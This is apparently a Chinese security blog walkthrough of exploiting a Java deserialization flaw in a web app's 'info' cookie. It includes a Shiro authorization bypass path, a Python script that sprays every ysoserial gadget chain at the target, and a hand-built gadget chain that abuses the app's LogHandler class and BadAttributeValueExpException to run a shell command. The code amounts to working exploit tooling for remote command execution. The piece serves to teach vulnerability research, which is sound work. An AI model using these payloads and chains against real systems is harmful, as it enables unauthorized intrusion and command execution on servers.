平时挖的或者看到的反序列例子都很曲折,或者很个例,无法作为一个科普文。偶然看到大佬KeePassX的Java反序列化漏洞从入门到关门,发现这是一个难得一见的反序列化挖掘的好例子,它很舒畅,一镜到底。
下面是以我的思路对代码进行白盒审计:
代码审计
看一下/index/*路由功能,发现cookie中的info字段存在发序列化漏洞
@GetMapping({"/"})
public String main() {
return "redirect:login";
}
@GetMapping({"/index/{name}"})
public String index(HttpServletRequest request, HttpServletResponse response, @PathVariable String name) throws Exception {
Cookie[] cookies = request.getCookies();
boolean exist = false;
Cookie cookie = null;
User user = null;
if (cookies != null) {
Cookie[] var8 = cookies;
int var9 = cookies.length;
for(int var10 = 0; var10 < var9; ++var10) {
Cookie c = var8[var10];
if (c.getName().equals("info")) {
exist = true;
cookie = c;
break;
}
}
}
if (exist) {
byte[] bytes = Tools.base64Decode(cookie.getValue());
user = (User)Tools.deserialize(bytes);
} else {
user = new User();
user.setID(1);
user.setUserName(name);
cookie = new Cookie("info", Tools.base64Encode(Tools.serialize(user)));
response.addCookie(cookie);
}
request.setAttribute("info", user);
request.setAttribute("logs", new LogHandler());
return "index";
}
其中Tools.deserialize函数如下:
public static Object deserialize(final byte[] serialized) throws Exception {
ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(btin);
return objIn.readObject();
}
由于该项目使用了shiro中间件,并且存在权限绕过漏洞,绕过方式为http://127.0.0.1:8000/index/%3b/xxx
payload 1
于是直接打即可,当然最简单的就是上ysoserial工具,一开始也不知道使用哪条链,可以先来一波盲打,工具如下,虽然我写的比较粗糙,不过很好使,建议收藏:
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
# @Date : 2021/05/09
# @Author : 5wimming
import requests
import subprocess
import time
import base64
def print_yso():
payloads = ["BeanShell1", "C3P0", "Clojure", "CommonsBeanutils1", "CommonsCollections1", "CommonsCollections2", "CommonsCollections3", "CommonsCollections4", "CommonsCollections5", "CommonsCollections6", "FileUpload1", "Groovy1", "Hibernate1", "Hibernate2", "JBossInterceptors1", "JRMPClient", "JRMPListener", "JSON1", "JavassistWeld1", "Jdk7u21", "Jython1", "MozillaRhino1", "Myfaces1", "Myfaces2", "ROME", "Spring1", "Spring2", "URLDNS", "Wicket1"]
for payload in payloads:
try:
p = subprocess.Popen('java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ' + payload + ' \"open /System/Applications/Calculator.app\"', shell=True, stdout=subprocess.PIPE)
out, err = p.communicate()
result = str(base64.b64encode(out))[2:-1]
print(payload, result)
burp0_headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:81.0) Gecko/20100101 Firefox/81.0",
"Accept": "application/json, text/plain, */*", "Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate", "Content-Type": "application/json;charset=utf-8",
"Origin": "http://127.0.0.1:8090", "Connection": "close",
"Cookie": "hacker=" + result,
"Referer": "http://127.0.0.1:8090/admin/index.html"}
requests.get('http://127.0.0.1:8000/index/%3b/xxx', headers=burp0_headers, timeout=20)
time.sleep(5)
except Exception as e:
pass
if __name__ == '__main__':
print_yso()
发现使用CommonsBeanutils1链可以成功,可能还有其他链,这里不在赘述,效果如下
payload 2
上面使用的是别人发现的公共链,但是有时候公共链并不能通吃,可以看看该项目本身有没有攻击链可以利用,寻找思路如下:
1、寻找项目中的危险函数AA.evil(string a),危险函数就是会导致漏洞产生的函数,比如命令执行函数Runtime.getRuntime().exec()、JNDI漏洞函数javax.naming.Context.lookup、SSRF漏洞函数java.net.URL.openConnection等等。
当然这些函数的参数必须可控,否则没法传入恶意命令。
具体可以参考我改的gadgetinspector的slink点,里面全是危险函数
2、危险函数所在类AA必须实现了 java.io.Serializable 接口,或者是实现了java.io.Serializable 接口类的子类,比如下面是常用的五大反序列化利用基类
1.AnnotationInvocationHandler:反序列化的时候会循环调用成员变量的get方法,用来和lazyMap配合使用。
2.PriorityQueue:反序列化的时候会调用TransformingComparator中的transformer的tranform方法,用来直接和Tranformer配合使用。
3.BadAttributeValueExpException:反序列化的时候会去调用成员变量val的toString函数,用来和TiedMapEntry配合使用。(TiedMapEntry的toString函数会再去调自身的getValue)。
4.HashSet:反序列化的时候会去循环调用自身map中的put方法,用来和HashMap配合使用。
5.Hashtable:当里面包含2个及以上的map的时候,回去循环调用map的get方法,用来和lazyMap配合使用。
3、找个载体类BB,用于承载你上面构造的恶意AA.evil(string a),我们知道,当一个类被反序列化的时候,会调用该类的readobject函数。
因为如果我们的恶意函数evil(string a)不在readobject()函数里面,它再恶意也没法起作用。
当然,BB.readobject函数也必须是可控的,比如它允许我们通过某种方式把AA.evil(string a)塞进去。
于是在项目中找到了toString函数,它的类继承于LogHandler,可以进行反序列化操纵,虽然toString函数的参数是私有变量,但是通过java的反射机制依然可以赋值
public class LogHandler extends HashSet implements InvocationHandler {
private Object target;
private String readLog = "tail accessLog.txt";
private String writeLog = "echo /test >> accessLog.txt";
public LogHandler() {
}
public LogHandler(Object target) {
this.target = target;
}
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
Tools.exeCmd(this.writeLog.replaceAll("/test", (String)args[0]));
return method.invoke(this.target, args);
}
public String toString() {
return Tools.exeCmd(this.readLog);
}
}
接下来找载体类,这里我们用BadAttributeValueExpException类,它是业界比较出名的载体类(背锅侠)
public class BadAttributeValueExpException extends Exception {
private static final long serialVersionUID = -3105272988410493376L;
private Object val;
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}
public String toString() {
return "BadAttributeValueException: " + val;
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
}
从代码中我们可以看到,它调用了toString()函数,并且valObj可控,即我们可以把LogHandler实例赋值给它。
构造出poc如下,需要注意的是我们使用了LogHandler和Tools这两个项目中移植过来的类,需要注意它的package路径必须相同。
import com.xxx.Tools.LogHandler;
import com.xxx.Tools.Tools;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
public class Payload {
public static void main(String[] args) throws Exception{
LogHandler logHandler = new LogHandler();
Field readLogField = LogHandler.class.getDeclaredField("readLog");
readLogField.setAccessible(true);
readLogField.set(logHandler,"open /System/Applications/Calculator.app");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("");
Field valField = BadAttributeValueExpException.class.getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException,logHandler);
byte[] bytes = Tools.serialize(badAttributeValueExpException);
System.out.println(Tools.base64Encode(bytes));
}
}
效果如下